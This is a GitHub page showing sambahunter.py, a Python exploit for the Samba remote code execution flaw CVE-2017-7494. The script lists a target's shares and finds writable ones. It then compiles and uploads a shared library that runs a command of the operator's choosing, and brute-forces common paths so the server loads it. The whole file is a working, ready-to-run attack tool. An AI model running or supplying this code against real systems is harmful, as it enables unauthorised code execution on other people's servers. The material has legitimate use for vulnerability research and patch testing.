forked from brianwrf/SambaHunter
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsambahunter.py
161 lines (143 loc) · 5.24 KB
/
sambahunter.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
# coding=utf-8
# Exploit Title: Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 Remote Code Execution
# Date: 2017-05-31
# Exploit Author: avfisher (https://github.com/brianwrf/SambaHunter)
# Vendor Homepage: https://www.samba.org/
# Software Link: https://www.samba.org/samba/download/
# Version: 3.5.0 - 4.5.4/4.5.10/4.4.14
# Tested on: Ubuntu 16.04
# CVE : CVE-2017-7494
import subprocess
import sys
import re
import smbclient
import os
import argparse
share_type = [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ]
share_common_location = [ '/volume1', '/volume2', '/volume3', '/shared', '/mnt', '/mnt/usb', '/media', '/mnt/media', '/var/samba', '/tmp', '/home', '/home/shared' ]
temp_file_name = "temp_file"
def generate_payload(file_name, cmd):
content = '''
# include <stdio.h>
# include <stdlib.h>
int samba_init_module()
{
system("%s");
return 0;
}''' % cmd
payload = open(file_name + ".c", 'wb')
payload.write(content.strip())
payload.close()
compile_cmd = "gcc %s.c -shared -fPIC -o %s.so" % (file_name, file_name)
res = subprocess.run(compile_cmd.split(), capture_output=True, text=True)
status = res.returncode
output = res.stdout
if status == 0:
print("[*] Generate payload succeed: %s.so" % (os.path.dirname(os.path.realpath(__file__)) + '/' + file_name))
return file_name
else:
print("[!] Generate payload failed!")
exit()
def connect_smb(server, share_name):
smb = smbclient.SambaClient(server=server, share=share_name)
return smb
def verify_writeable_directory(smb, share_name):
file_name = temp_file_name
temp_file = open(file_name, 'w')
temp_file.write('test')
temp_file.close()
smb.upload(file_name, file_name)
if file_name in smb.listdir("/"):
print("Directory " + share_name + " is writeable")
try:
smb.remove(file_name)
except Exception as err:
pass
return True
return False
def upload_payload(smb, cmd):
payload_name = 'samba_' + str(os.getpid())
payload = generate_payload(payload_name, cmd)
try:
smb.upload(payload + '.so', payload + '.so')
except Exception as err:
pass
os.remove(payload + '.so')
os.remove(payload + '.c')
return payload
def brute_force_location(payload):
paths = []
for location in share_common_location:
paths.append(location + '/' + payload + '.so')
return paths
def exploit(server, path):
print("[+] Brute force exploit: %s" % path)
cmd = "smbclient //%s/IPC$ -k -c 'open %s'" % (server, path)
res = subprocess.run(cmd.split(), capture_output=True, text=True)
status = res.returncode
output = res.stdout
def scan_share(server, share_name, cmd):
print("Scanning share: " + share_name)
try:
smb = connect_smb(server, share_name)
if verify_writeable_directory(smb, share_name):
payload = upload_payload(smb, cmd)
paths = brute_force_location(payload)
for path in paths:
exploit(server, path)
try:
smb.remove(payload + '.so')
except Exception as err:
pass
smb.close()
except Exception as err:
pass
def main():
banner = """
____ _ _ _ _
/ ___| __ _ _ __ ___ | |__ __ _| | | |_ _ _ __ | |_ ___ _ __
\___ \ / _` | '_ ` _ \| '_ \ / _` | |_| | | | | '_ \| __/ _ \ '__|
___) | (_| | | | | | | |_) | (_| | _ | |_| | | | | || __/ |
|____/ \__,_|_| |_| |_|_.__/ \__,_|_| |_|\__,_|_| |_|\__\___|_|
# Exploit Author: avfisher (https://github.com/brianwrf)
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 Remote Code Execution
# CVE-2017-7494
# Help: python sambahunter.py -h
"""
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--server", help="Server to target", type=str)
parser.add_argument("-c", "--command", help="Command to execute on target server", type=str)
args = parser.parse_args()
server = ''
cmd = ''
if args.server:
server = args.server
if args.command:
cmd = args.command
if server and cmd:
print("[*] Exploiting RCE for Samba (CVE-2017-7494)...")
print("[*] Server: %s" % server)
list_share_cmd = "smbclient -L %s -N" % (server)
res = subprocess.run(list_share_cmd.split(), capture_output=True, text=True)
status = res.returncode
output = res.stdout
if status == 0:
print(output)
shares = output.split('\n\t')
for share in shares:
if 'Samba' in share:
match = re.search('.*(Samba.*?)].*', share)
if match:
print("[*] Samba version: %s" % match.group(1))
for type in share_type:
if type.lower() in share.lower():
share_name = share.split(" ")[0]
scan_share(server, share_name, cmd)
print("[*] Exploit finished!")
else:
print("[!] Exploit failed!")
exit()
os.remove(temp_file_name)
if __name__ == '__main__':
main()